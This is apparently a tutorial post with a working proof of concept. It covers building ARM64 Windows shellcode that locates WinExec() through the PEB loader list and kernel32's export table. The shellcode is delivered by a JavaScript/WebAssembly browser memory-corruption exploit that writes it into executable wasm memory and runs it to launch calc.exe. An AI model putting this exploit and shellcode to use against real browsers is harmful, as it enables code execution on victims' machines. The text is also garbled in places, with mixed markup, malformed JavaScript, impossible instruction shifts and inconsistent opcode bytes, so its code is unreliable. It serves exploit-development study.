Creating aarch64 (ARM64) Windows Shellcode: Part 2 - ASLR support

- Overview
  - Our starting point
  - Dynamically finding WinExec()
    - Getting the TEB on ARM64
    - Getting the image base address
      - Navigating the InLoadOrderModule list in windbg
        - Element #1
        - Element #2
        - Element #3
      - Navigating the InLoadOrderModule list with our shellcode
    - Getting the kernel32 PE header
    - Getting the export table
    - Getting useful pointers within the export table
    - Looking for our function
    - Getting the WinExec() ordinal number
    - Getting the WinExec() function address
    - Confirming the address of our found WinExec() function
  - Specifying our calc.exe payload
  - The complete ASLR-compatible PoC

Overview

In our last episode, we successfully created ARM64 Windows shellcode that pops calc.exe. However, as just a proof of concept, we hard-coded the address of WinExec() for the current boot of our test VM. But we can do better. Modern shellcode determines the addresses of functions rather than hard-coding them. This allows for compatibility with ASLR.

Our starting point

Here's what we left off with last time:

```html
<poc-static.html>
<script>
function gc() {
  for (var i = 0; i < 0x80000; ++i) {
    var a = new ArrayBuffer();
  }
}

let shellcode = [

  // move sp into x9
  // Indexing into SP can be tricky due to alignment requirements
  // mov, x9, sp
  0xe9, 0x03, 0x00, 0x91,

  // Put CALC.EXE in x0
  // AC
  0x60, 0x28, 0x88, 0xD2,
  // CL
  0x80, 0x69, 0xA8, 0xF2,
  // E.
  0xc0, 0xa5, 0xC8, 0xF2,
  // EX
  0x00, 0xab, 0xE8, 0xF2,

  // put x0 on x9-stack
  // str, x0, [x9], #8
  0x20, 0x85, 0x00, 0xF8,

];
</script>
```
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;

function fLow(f) {
  bfView.setFloat64(0, f, true);
  return (bfView.getFloat64(0, true));
}
function fHi(f) {
  bfView.setFloat64(0, f, true);
  return (bfView.getFloat64(4, true));
}
function i2f(low, hi) {
  bfView.setUint32(0, low, true);
  bfView.setUint32(4, hi, true);
  return bfView.getFloat64(0, true);
}
function f2big(f) {
  bfView.setFloat64(0, f, true);
  return bfView.getBigUint64(0, true);
}
function big2f(b) {
  bfView.setBigUint64(0, b, true);
  return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
    super(size);
    this.slot = 0xb33f;
}

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
    arr.shift();
    let local_arr = Array(2);
    local_arr[0] = 5.1;//4014666666666666
    arr[0] = 0x1122;
    return [arr, local_arr, buff];
}

for (var i = 0; i < 0x10000; ++i)
    foo(false);

gc(); gc();
[corrupt_arr, rwarr, corrupt_buff] = foo(true);
delete corrupt_arr;

function setbackingStore(hi, low) {
    rwarr[4] = i2f(fLow(rwarr[4]), hi);
    rwarr[5] = i2f(low, fHi(rwarr[5]));
}

function leakObjLow(o) {
    corrupt_buff.slot = o;
    return (fLow(rwarr[9]) - 1);
}

let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
    let baseIdx = delta / 8;
    this.base = fLow(rwarr[baseIdx]);
} else {
    let baseIdx = ((delta - (delta % 8)) / 8);
    this.base = fHi(rwarr[baseIdx]);
}

let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
    corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

The relevant part is this:

```
poc-static.html

// Load address of WinExec() (static) into j8
// TODO: Make universal
// movz x8, #0x9ff0
0x08, 0xFE, 0x93, 0xD2,
// movk x8, #0x6fde, lsl #16
0xC8, 0xFB, 0xAD, 0xF2,
// movk x8, #0x7ffc, lsl #32
0x88, 0xFF, 0xCF, 0xF2,
// movk x8, #0x7fffc, lsl #48
0x88, 0xFF, 0xCF, 0xF2,
// movk x8, #0x7fffd, lsl #56
0x88, 0xFF, 0xCF, 0xF2,
// movk x8, #0x7ffe0, lsl #64
0x88, 0xFF, 0xCF, 0xF2,
// movk x8, #0x7ffe0, lsl #72
0x88, 0xFF, 0xCF, 0xF2,
// movk x8, #0x7ffe0, lsl #80
0x88, 0xFF, 0xCF, 0xF2,
Dynamically finding WinExec()

We can see some existing writeups about finding kernel32.dll's address, albeit for x86-based architectures:


We'll use this as a starting point, but we may need to change things for ARM64.

From the latter, we can see that the usual chain of memory structures to get to the kernel32.dll address is:

```
TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll
```

Getting the TEB on ARM64

On x86, we get the TEB by looking at `Fs:[0x30]`. But we're on ARM! This isn't a thing on this platform. Looking at the Windows ARM64 ABI documentation, we can see that to get the TEB, we can just look at the `x18` register:

**Integer registers**

The AArch64 architecture supports 32 integer registers:

<table>
<thead>
<tr>
<th>Register</th>
<th>Volatile?</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td>x0</td>
<td>Volatile</td>
<td>Parameter/scratch register 1, result register</td>
</tr>
<tr>
<td>x1-x7</td>
<td>Volatile</td>
<td>Parameter/scratch register 2-8</td>
</tr>
<tr>
<td>x8-x15</td>
<td>Volatile</td>
<td>Scratch registers</td>
</tr>
<tr>
<td>x16-x17</td>
<td>Volatile</td>
<td>Intra-procedure-call scratch registers</td>
</tr>
<tr>
<td>x18</td>
<td>Non-volatile</td>
<td>Platform register: in kernel mode, points to KPCR for the current processor; in user mode, points to TEB</td>
</tr>
<tr>
<td>x19-x28</td>
<td>Non-volatile</td>
<td>Scratch registers</td>
</tr>
<tr>
<td>x29/fp</td>
<td>Non-volatile</td>
<td>Frame pointer</td>
</tr>
<tr>
<td>x30/ir</td>
<td>Non-volatile</td>
<td>Link registers</td>
</tr>
</tbody>
</table>

We can confirm this in Windbg (attached to msedge.exe for example, but any should work):

```
poc-static.html
```

```
0:007> dt __teb
ntdll!__teb
+0x000 NtTib : _NT_TIB
+0x038 EnvironmentPointer : Ptr64 Void
+0x040ClientId : _CLIENT_ID
+0x050 ActiveRpcHandle : Ptr64 Void
+0x058 ThreadLocalStoragePointer : Ptr64 Void
+0x060 ProcessEnvironmentBlock : Ptr64 _PEB...
```

Here we can see that the `TEB + 0x60` will get us the `PEB`. So let's start out our shellcode with this:
// Move x18 to x28 (TEB)
// mov x28, x18
0xfc, 0x03, 0x12, 0xaa,

// add 0x60 to the TEB address to get PEB
// add x28, x28, #0x60
0x9c, 0x83, 0x01, 0x91,

// load PEB address into x27
// ldr x27, [x28]
0x9b, 0x03, 0x40, 0xf9,

Getting the image base address

We can look into the PEB in Windbg:

Here we can see that the **PEB LDR_DATA** is at the **PEB + 0x18**. We can just keep re-using the x27 register until we get something we may end up needing to use in it. So append to our shellcode:

// Add 0x18 to PEB address to get PEB_LDR_DATA
// add, x27, x27, #0x18
0x7b, 0x63, 0x00, 0x91,

// Load PEB_LDR_DATA into x27
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0xf9,

Back to Windbg:
Here we can see that 0x10 into the PEB LDR_DATA structure, we have InLoadOrderModuleList. Just to confirm what we’re looking at, let’s look at the bytes that x27 points to. Note that we cannot just dereference the x27 register in our debugger session, as the dmp file contains the state of the machine when the crash was captured, as opposed to when the crash occurred. So we have to scroll up the !analyze -v output and copy/paste the register value we are interested in.

Here we can cross-reference the output from the `dc` command to the actual bytes in memory:

- Length: 0x00000058
- Initialized: 0x00000001
- Handle: (null)
- InLoadOrderModuleList: 00000183ac4046d0 00000183ac42ed00
- InMemoryOrderModuleList: 00000183ac4046e0 00000183ac42ed10
- InInitializationOrderModuleList: 00000183ac404540 00000183ac42ed20

Similar to the above, we can use a windbg technique to use the `dt` command, but to have it parse the live data to supplement it:

As expected, we can see that the values match up with what we derived from the memory byte values. Whee! We can get even more data by clicking on e.g. "InLoadOrderModuleList":

```
poc-static.html
0:007> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length           : Uint4B
+0x004 Initialized      : UChar
+0x008 SsHandle         : Ptr64 Void
+0x010 InLoadOrderModuleList : _LIST_ENTRY 
+0x020 InMemoryOrderModuleList : _LIST_ENTRY 
+0x030 InInitializationOrderModuleList : _LIST_ENTRY 
+0x040 EntryInProgress  : Ptr64 Void
+0x048 ShutdownInProgress : UChar
+0x050 ShutdownThreadId : Ptr64 Void
```
Navigating the InLoadOrderModule list in windbg

We currently have addresses of doubly-linked lists that contain information about loaded modules. Let's look at the InLoadOrderModuleList.

Element #1

The way we do this is we first get the value at 0x10 into the LDR_DATA structure, which is 0x18 into the PEB:

```
0:000> ? poi(poi(@$peb+0x18)+10)
Evaluate expression: 2973885286096 = 000002b4`696046d0
```

How that we have that address, we can have windbg parse the data (as LDR_DATA_TABLE_ENTRY), but using the specific data at 000002b4`696046d0:

```
0:000> dt _LDR_DATA_TABLE_ENTRY 000002b4`696046d0
combase\_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000002b4`696046d0 - 0x00007ffc`736f5510 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000002b4`69604530 - 0x00007ffc`736f5520 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x030 DllBase : 0x00007ff6`105d0000 Void
+0x038 EntryPoint : (null)
+0x040 SizeOfImage : 0x3d6000
+0x048 FullDllName : _UNICODE_STRING "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
+0x058 BaseDllName : _UNICODE_STRING "msedge.exe"
```

Here we have clear evidence that the first entry in the InLoadOrderModule list is the process itself (msedge.exe).

Element #2

Because we are dealing with a linked list, we just need to do one more dereference to get the information of the next item in the list. In this case, one more level of poi() in windbg:

```
0:000> ? poi(poi(poi(@$peb+0x18)+10))
Evaluate expression: 2973885285664 = 000002b4`69604520
```

```
0:000> dt _LDR_DATA_TABLE_ENTRY 000002b4`69604520
combase\_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000002b4`696046d0 - 0x00007ffc`736f5510 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000002b4`69604530 - 0x00007ffc`736f5520 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00007ffc`736f5530 ]
+0x030 DllBase : 0x00007ff6`733d0000 Void
+0x038 EntryPoint : (null)
+0x040 SizeOfImage : 0x3d6000
+0x048 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\ntdll.dll"
+0x058 BaseDllName : _UNICODE_STRING "ntdll.dll"
```

OK, now we see that we’ve got ntdll.dll. We’re close!
Let's try one more:

```
poc-static.html
```

0:000> ? poi(poi(poi(0xpeb+0x18)+10)))
Evaluate expression: 2973855287920 = 000002b4`69604df0
0:000> dc _LDR_DATA_TABLE_ENTRY 000002b4`69604df0
combasel!_LDR_DATA_TABLE_ENTRY
  +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000002b4`69605460 - 0x000002b4`69604520 ]
  +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000002b4`69605470 - 0x000002b4`69604530 ]
  +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x000002b4`69606f60 - 0x000002b4`69605480 ]
  +0x030 DllBase : 0x00007ffc`6fda0000 Void
  +0x038 EntryPoint : 0x00007ffc`6fdad200 Void
  +0x040 SizeOfImage : 0x15a000
  +0x048 FullDllName : _UNICODE_STRING "C:\WINDOWS\System32\KERNEL32.DLL"
  +0x058 BaseDllName : _UNICODE_STRING "KERNEL32.DLL"

Bingo! At least in our Windbg session, we've got the address of kernel32.dll, and we know how we got there (Look at the 3rd entry in the InLoadOrderModuleList linked list, and go to the offset of 0x30 within that entry).

Navigating the InLoadOrderModule list with our shellcode

For any given LDR_DATA_TABLE_ENTRY, the DllBase (where the DLL is loaded into memory) is 0x30 into the structure. Given my memory of the development, and having used multiple guides in the process to get what I wanted, I'll have to be a little bit hand-wavy here. But here's the sequence of instructions that we can append to our shellcode to get the base address of kernel32.dll:

```
poc-static.html
```

// Add 0x10 to PEB address to get LDR_MODULE InLoadOrder[0]
// add, x27, x27, #0x10
0x7b, 0x43, 0x00, 0x91,

// Get to the first LDR_DATA_TABLE_ENTRY (msedge.exe itself)
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0xf9,

// Get to the second LDR_DATA_TABLE_ENTRY (ntdll.dll)
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0x9f,

// Get to the third LDR_DATA_TABLE_ENTRY (kernel32.dll)
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0x9f,

// Add 0x30 to the LDR_DATA_TABLE_ENTRY address to get pointer to kernel32.dll load address
// add, x27, x27, #0x10
0x7b, 0xc3, 0x00, 0x91,

// Dereference x27 into x28
// ldr x28, [x27]
0x7c, 0x03, 0x40, 0x9f,

// Registers at this point:
// x28: Load address of kernel32.dll

At this point, we have set register x28 to be the load address of kernel32.dll.

To visualize how we got there, this diagram may help:

Getting the kernel32 PE header

First we need to look at the DOS header to find the offset of the PE header. We can see this visually in 010 editor, and probably other tools:
Here we can see that \texttt{0x3c} into the DLL file, there is a value: \texttt{0x38}. This is the offset into the binary file where the PE header begins.

So in our shellcode:

\begin{verbatim}
// Load kernel32.dll + 0x3c into x27 (PE Offset)
ldr w27, [x28, #0x3c]
0x9b, 0xf3, 0x40, 0x39,

// Add PE Offset to kernel32.dll base
// add x27, x28, x27
0x9b, 0x03, 0x1b, 0x8b,

////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Address of PE header
////////////////////////////////////////////////////////
\end{verbatim}

\textbf{Getting the export table}

We need to figure out how much further beyond the PE header we need to go to get to the export table.
We can see that it's 0x170 from the beginning of the file (0xe8 + 0x88) from the beginning of the file. The tutorial I was looking at said that it should be 0x78 from the PE header, though. Why the difference? Look in the screenshot above... there are 4 size fields. And on a 64-bit platform, these sizes will eat up 0x10 more bytes than on a 32-bit platform!

**poc-static.html**

```plaintext
// Add 0x88 to PE header to get to Export table, put in x27
// Many tutorials say 0x78, but that's only valid for 32-bit platforms
// add x27, x27, #0x88
0x7b, 0x23, 0x02, 0x91,
```

```
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Address of Data directory offset
////////////////////////////////////////////////////////
```

At this point, we know what the data directory offset (where the Export table is at the beginning) is. We do a little math to get the actual address of the export table:
// Virtual address of Exports table is first entry in Data directory
// Get offset of Exports table, and put into x26 (0x124450)
// ldr w26, [x27]
0x7a, 0x03, 0x40, 0xb9,

// Add offset of Exports table to base of kernel32.dll, put in x27
// add x27, x28, x26
0x9b, 0x03, 0x1a, 0x8b,

////////////////////////////////////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export Table
////////////////////////////////////////////////////////////////////////////////////////

Getting useful pointers within the export table

To do some math to get our function address, we'll need several relative virtual addresses (RVAs) saved into registers. I chose them based on how they're laid out in windbg. ARM gives us lots of registers to work with, so we don't need to be very conservative here. What we care about are:

- Name pointer table
- Address pointer table
- Ordinal table


Offsets in Tables

Before going into the visuals - the below table represents well known offsets of the kernel32 image and what data they contain or point to that we will reference a lot:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x3c into the file</td>
<td>RVA of PE signature</td>
</tr>
<tr>
<td>0x78 bytes after PE signature</td>
<td>RVA of Export Table</td>
</tr>
<tr>
<td>0x14 into the Export Table</td>
<td>Number of functions exported by a module</td>
</tr>
<tr>
<td>0x1c into the Export Table</td>
<td>RVA of Address Table - addresses of exported functions</td>
</tr>
<tr>
<td>0x20 into the Export Table</td>
<td>RVA of Name Pointer Table - addresses of exported function names</td>
</tr>
<tr>
<td>0x24 into the Export Table</td>
<td>RVA of Ordinal Table - function order number as listed in the table</td>
</tr>
</tbody>
</table>
More useful than the RVAs would be the actual addresses of the tables, so we do some maths:
Looking for our function

Now that we have programmatically determined the locations of our various function tables, we can start looking for `WinExec()`. We will simply look for a match for a function that begins with (case-sensitive) "WinE". So first we will set up x20 to have the needle we're looking for.

```poc-static.html
// Load our string to look for "WinE" into x20
//movz x20, #0x6957
0xF4, 0x2a, 0x8d, 0xd2,
//movk x20, #0x456e, lsl #16
0xd4, 0xad, 0xa8, 0xf2,
```
Now we prepare the main loop structure. The idea is:

1. Increment the function number counter
2. Increment to the next name in the list
3. Load the first 4 bytes of the function name into a register
4. Compare vs. the needle we're looking for ("WinE")
5. If no match, loop again

Or in code:

```plaintext
// Loop:
// Counter for exported functions
// add x0, x0, 1
0x00, 0x04, 0x00, 0x91,

// Increment to next name in the list
// add x23, x23, 4
0xf7, 0x12, 0x00, 0x91,

// Load first export name offset into x23
// x23 points to beginning of export name table
// ldr w22, [x23]
0xf6, 0x02, 0x40, 0xb9,

// Apply offset to kernel32 base, put in x21
// add x21, x28, x22
0x95, 0x03, 0x16, 0x8b,

// Load the first 4 bytes of the export name into x20
// cmp x16, x20
0xb0, 0x02, 0x40, 0xb9,

// BNE loop
0x41, 0xff, 0xff, 0x54,
```

At this point, we have the function number of WinExec(). In my testing, it's 0x622 in the kernel32.dll in my ARM64 Windows VM.

**Getting the WinExec() ordinal number**
In many cases, the function number and ordinal number are the same. But it's not **guaranteed**. So let's do the right thing: We need to multiply the function number by 2, and then look at that offset within the Ordinal table to get the actual ordinal. It should be the same, but by doing this step our shellcode will be more universal.

```plaintext
do static.html

// Convert function number to ordinal number.
// Usually they're the same.
// Move 2 into x3
// mov x3, #2
0x43, 0x00, 0x80, 0xd2,

// Multiply function number (x0) by 2
// mul x1, x0, x3
0x00, 0x7c, 0x03, 0x9b,

// Increment by offset (function number * 2) into Ordinal table
// add x15, x15, x0
0xef, 0x01, 0x00, 0x8b,

// Put actual ordinal number into x0
// ldrh w0, [x15]
0xe0, 0x01, 0x40, 0x79,

////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffbc7ec4450)
// x23: Name pointer table (e.g. 00007ffbc7ec7814)
// x19: Address pointer table (e.g. 00007ffbc7ec4478)
// x15: Ordinal table (e.g. 00007ff06f9c918)
// x0: Ordinal number of WinExec() (0x622 / 1570)
////////////////////////////////////////////////////////

Getting the WinExec() function address

In a similar manner to getting the ordinal number from the exported function number, we can get the function virtual address from the ordinal number. In particular:

Multiply the ordinal number * 4, and then go that offset into the address table.
To get the location of the address you want:
Multiply the Ordinal * 4, and use that as the offset into the address table

Move 4 into x2
mov x2, #4
0x82, 0x00, 0x80, 0xd2,

Multiply x0 (Ordinal) by x2 (4)
mul x0, x0, x2
0x00, 0x7c, 0x02, 0x9b,

At this point we have the RVA of WinExec(), but we want the absolute address. So we do some math.

Increment Function address table by offset of WinExec() function
add x19, x19, x0
0x73, 0x02, 0x00, 0x8b,

Get RVA of WinExec(), and put into x26 (0x124450)
ldr w26, [x19]
0x7a, 0x02, 0x40, 0xb9,

Add RVA of WinExec() to base of kernel32.dll, put in x8
add x8, x28, x26
0x88, 0x03, 0x1a, 0x8b,

Confirming the address of our found WinExec() function
We can compare our old code:
This is a hard-coded 0x00007fffc6fde9ff0 for our currently-booted VM.

We can put our "crash" widget in at this place and then look at the dump file. When we run `!analyze`, we see:

```
poc-static.html
```

```
x8=00007ffcc6fde9ff0
```

Success! The address we found is the same (in this boot) as what we were looking for. What this means is that our PoC should still work across reboots, and across ARM64 windows instances that have the same vulnerability.

This diagram should help to visualize the process of getting from the kernel32.dll base address to the address of WinExec():

### Specifying our calc.exe payload

This is similar to our prior PoC:
// Now that we have WinExec() in x8, prepare the call to it.
// We don't really care about existing registers other than x8

// move sp into x9
// Indexing into SP can be tricky due to alignment requirements
// mov, x9, sp
// 0xe9, 0x03, 0x00, 0x91,
// Increment x9 by 8
// add, x9, x9, #8
// 0x29, 0x21, 0x00, 0x91,

// Put CALC.EXE in x0
// AC
// movz x0, #0x4143
// 0x60, 0x28, 0x88, 0xD2,
// CL
// movk x0, #0x434c
// 0x00, 0xab, 0xE8, 0xF2,
// E.
// movk x0, #452e
// 0xc0, 0xa5, 0xC8, 0xF2,
// EX
// movk x0, #4558
// 0x00, 0xad, 0xE8, 0xF2,

// put x0 on x9-stack
// str, x0, [x9], #8
// 0x20, 0x85, 0x00, 0xF8,

// Terminate string with a null:
// Put null into x0
// movz, x0, #0
// 0x21, 0x00, 0x80, 0xD2,

// put x0 on x9-stack
// str x0, [x9], #8
// 0x20, 0x85, 0x00, 0xF8,

// Put the pointer to "CALC.EXE\0" into x0
// mov x0, x9
// 0xe0, 0x03, 0x09, 0xaa,

// Adjust pointer to point to beginning of string
// sub, x0, 0x, #0x10
// 0x00, 0x40, 0x00, 0xd1,

// put 0x1 in x1 (second argument to WinExec)
// mov z1, #0x01
// 0x21, 0x00, 0x80, 0xd2,

// Call WinExec()
// jalr x8
// 0x00, 0x00, 0x3F, 0xD6,

The complete ASLR-compatible PoC

<script>
function gc() {
    for (var i = 0; i < 0x80000; ++i) {
    
</script>
```javascript
var a = new ArrayBuffer();
}
}

let shellcode = {

  // Move x18 to x28 (TEB)
  // mov x28, x18
  0xfc, 0x03, 0x12, 0xaa,

  // add 0x60 to the TEB address to get PEB
  // add x28, x28, #0x60
  0x9c, 0x83, 0x01, 0x91,

  // load PEB address into x27
  // ldr x27, [x28]
  0x9b, 0x03, 0x40, 0xf9,

  // Add 0x18 to PEB address to get PEB_LDR_DATA
  // add, x27, x27, #0x18
  0x7b, 0x43, 0x00, 0x91,

  // Load PEB_LDR_DATA into x27
  // ldr x27, [x27]
  0x7b, 0x03, 0x40, 0xf9,

  // Add 0x10 to PEB address to get LDR_MODULE InLoadOrder[0]
  // add, x27, x27, #0x10
  0x7b, 0x43, 0x00, 0x91,

  // Get to the first LDR_DATA_TABLE_ENTRY (msedge.exe itself)
  // ldr x27, [x27]
  0x7b, 0x03, 0x40, 0xf9,

  // Get to the second LDR_DATA_TABLE_ENTRY (ntdll.dll)
  // ldr x27, [x27]
  0x7b, 0x03, 0x40, 0xf9,

  // Get to the third LDR_DATA_TABLE_ENTRY (kernel32.dll)
  // ldr x27, [x27]
  0x7b, 0x03, 0x40, 0xf9,

  // Add 0x30 to the LDR_DATA_TABLE_ENTRY address to get pointer to kernel32.dll load address
  // add, x27, x27, #0x10
  0x7b, 0x43, 0x00, 0x91,

  // Dereference x27 into x28
  // ldr x28, [x27]
  0x7c, 0x03, 0x40, 0xf9,

  // Registers at this point:
  // x28: Load address of kernel32.dll

  // Load kernel32.dll + 0x3c into x27 (PE Offset)
  // ldrb w27, [x28, #0x3c]
  0x9b, 0xf3, 0x40, 0x39,

  // Add PE Offset to kernel32.dll base
  // add x27, x28, x27
  0x9b, 0x03, 0x1b, 0x8b,

  // Add 0x88 to PE header to get to Export table, put in x27
  // Many tutorials say 0x78, but that's only valid for 32-bit platforms
  // add x27, x27, #0x88
```
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Address of Data directory offset

// Virtual address of Exports table is first entry in Data directory
// Get offset of Exports table, and put into x26 (0x124450)
ldr w26, [x27]
0x7a, 0x03, 0x40, 0xb9,

// Add offset of Exports table to base of kernel32.dll, put in x27
add x27, x28, x26
0x9b, 0x03, 0x1a, 0x8b,

// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export Table

// Go 0x1c past beginning of table to get address of function address table, put in x19
add x19, x27, #0x1c
0x73, 0x73, 0x00, 0x91,

// Go 0x20 past beginning of table to get address of function name pointer table, put in x23
add x23, x27, #0x20
0x77, 0x83, 0x00, 0x91,

// Go 0x24 past beginning of table to get address of function name pointer table, put in x15
add x15, x27, #0x24
0x6f, 0x93, 0x00, 0x91,

// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export Table
// x23: Pointer to RVA of Name pointer table (e.g. 0007ffb37ec4470)
// x19: Pointer to RVA of Address pointer table (e.g. 00007ffb37ec4474)
// x15: Pointer to RVA of Ordinal table (e.g. 00007ffb37ec4474)

// Convert RVAs of our 3 pointer tables to actual addresses
// where kernel32.dll is loaded

// Get RVA of Name Pointer Table, and put into x26 (0x124450)
ldr w26, [x23]
0x7a, 0x02, 0x40, 0xb9,

// Add RVA of Name Pointer table to base of kernel32.dll
add x26, x28, x26
0x97, 0x03, 0x1a, 0x8b,

// Get RVA of Function Pointer Table, and put into x26 (0x124450)
ldr w26, [x19]
0x7a, 0x02, 0x40, 0xb9,

// Add RVA of Function Pointer table to base of kernel32.dll, put in x19
add x19, x28, x26
0x93, 0x03, 0x1a, 0x8b,

// Get RVA of Function Pointer Table, and put into x26 (0x124450)
// ldr w26, [x15] 0xfa, 0x01, 0x40, 0xb9,
// Add RVA of Function Pointer table to base of kernel32.dll, put in x19
// add x15, x28, x26 0x8f, 0x03, 0x1a, 0x8b,

////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffhb37ec4450)
// x23: Name pointer table (e.g. 00007ffhb37ec781d)
// x19: Address pointer table (e.g. 00007ffcc6f8c91c8)
// x15: Ordinal table (e.g. 00007ffcc6f8c91c8)

////////////////////////////////////////////////////////
// Load our string to look for "WinE" into x20
// movz x20, #0x6957 0xf4, 0x2a, 0x8d, 0xd2,
// movk x20, #0x456e, lsl #16 0xd4, 0xad, 0xa8, 0xf2,

// Subtract 4 from x27 to prepare for stupid loop structure
// sub x23, x23, #4 0xf7, 0x12, 0x00, 0xd1,
// subtract 1 from x0 to prepare for stupid loop structure
// sub x0, x0, #1 0x00, 0x004, 0x00, 0xd1,

// Loop:

// Counter for exported functions
// add x0, x0, 1 0x00, 0x04, 0x00, 0x91,

// Increment to next name in the list
// add x23, x23, #4 0xf7, 0x12, 0x00, 0x91,

// Load first export name offset into x23
// x23 points to beginning of export name table
// ldr w22, [x23] 0xf6, 0x02, 0x40, 0xb9,
// Apply offset to kernel32 base, put in x21
// add x21, x28, x22 0x95, 0x03, 0x16, 0x8b,

// Load the first 4 bytes of the export name into x20
// ldr w16, [x21] 0xb0, 0x02, 0x40, 0xb9,

// cmp x16, x20 0x1f, 0x02, 0x14, 0xeb,
// BNE loop 0x41, 0xff, 0xff, 0x54,

////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffhb37ec4450)
// x23: Name pointer table (e.g. 00007ffhb37ec781d)
// x19: Address pointer table (e.g. 00007ffcc6f8c91c8)
// x15: Ordinal table (e.g. 00007ffcc6f8c91c8)
// x0: Function number of WinExec() (0x622 / 1570)
// Convert function number to ordinal number.
// Usually they're the same.
// Move 2 into x3
// mov x3, #2
// 0x43, 0x00, 0x80, 0xd2,

// Multiply function number (x0) by 2
// mul x0, x0, x3
// 0x00, 0x7c, 0x03, 0x9b,

// Increment by offset (function number * 2) into Ordinal table
// add x15, x15, x0
// 0xef, 0x01, 0x00, 0x8b,

// Put actual ordinal number into x0
// ldrh w0, [x15]
// 0xe0, 0x01, 0x40, 0x79,

// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007fbb37ec4450)
// x23: Name pointer table (e.g. 00007fbb37ec7814)
// x19: Address pointer table (e.g. 00007fbb37ec4478)
// x15: Ordinal table (e.g. 00007ff6ec91c8)
// x0:  Ordinal number of WinExec()  (0x622 / 1570)

// To get the location of the address you want:
// Multiply the Ordinal * 4, and use that as the offset into the address table

// Move 4 into x2
// mov x2, #4
// 0x82, 0x00, 0x80, 0xd2,

// Multiply x0 (Ordinal) by x2 (4)
// mul x0, x0, x2
// 0x00, 0x7c, 0x02, 0x9b,

// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007fbb37ec4450)
// x23: Name pointer table (e.g. 00007fbb37ec7814)
// x19: Address pointer table (e.g. 00007fbb37ec4478)
// x15: Ordinal pointer table (e.g. 00007ffe6ec91c8)
// x0:  RVA of WinExec()  (e.g. 0x1888)

// Increment Function address table by offset of WinExec() function
// add x19, x19, x0
// 0x73, 0x02, 0x00, 0x8b,

// Get RVA of WinExec(), and put into x26 (0x124450)
// ldr w26, [x19]
// 0x7a, 0x02, 0x40, 0xb9,

// Add RVA of WinExec() to base of kernel32.dll, put in x8
// add x8, x28, x26
0x88, 0x03, 0x1a, 0x8b,

///////////////////////////////////////////////////////////////////<
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007fffb37ec4450)
// x23: Name pointer table (e.g. 00007fffc6f8c7814)
// x19: Address pointer table (e.g. 00007fffb37ec4478)
// x15: Ordinal pointer table (e.g. 00007fffc6f8c91c8)
// x8: Address of WinExec()
// x0: RVA of WinExec

/////////////////////////////////////////////////////////////////////

// Now that we have WinExec() in x8, prepare the call to it.
// We don't really care about existing registers other than x8

// move sp into x9
// Indexing into SP can be tricky due to alignment requirements
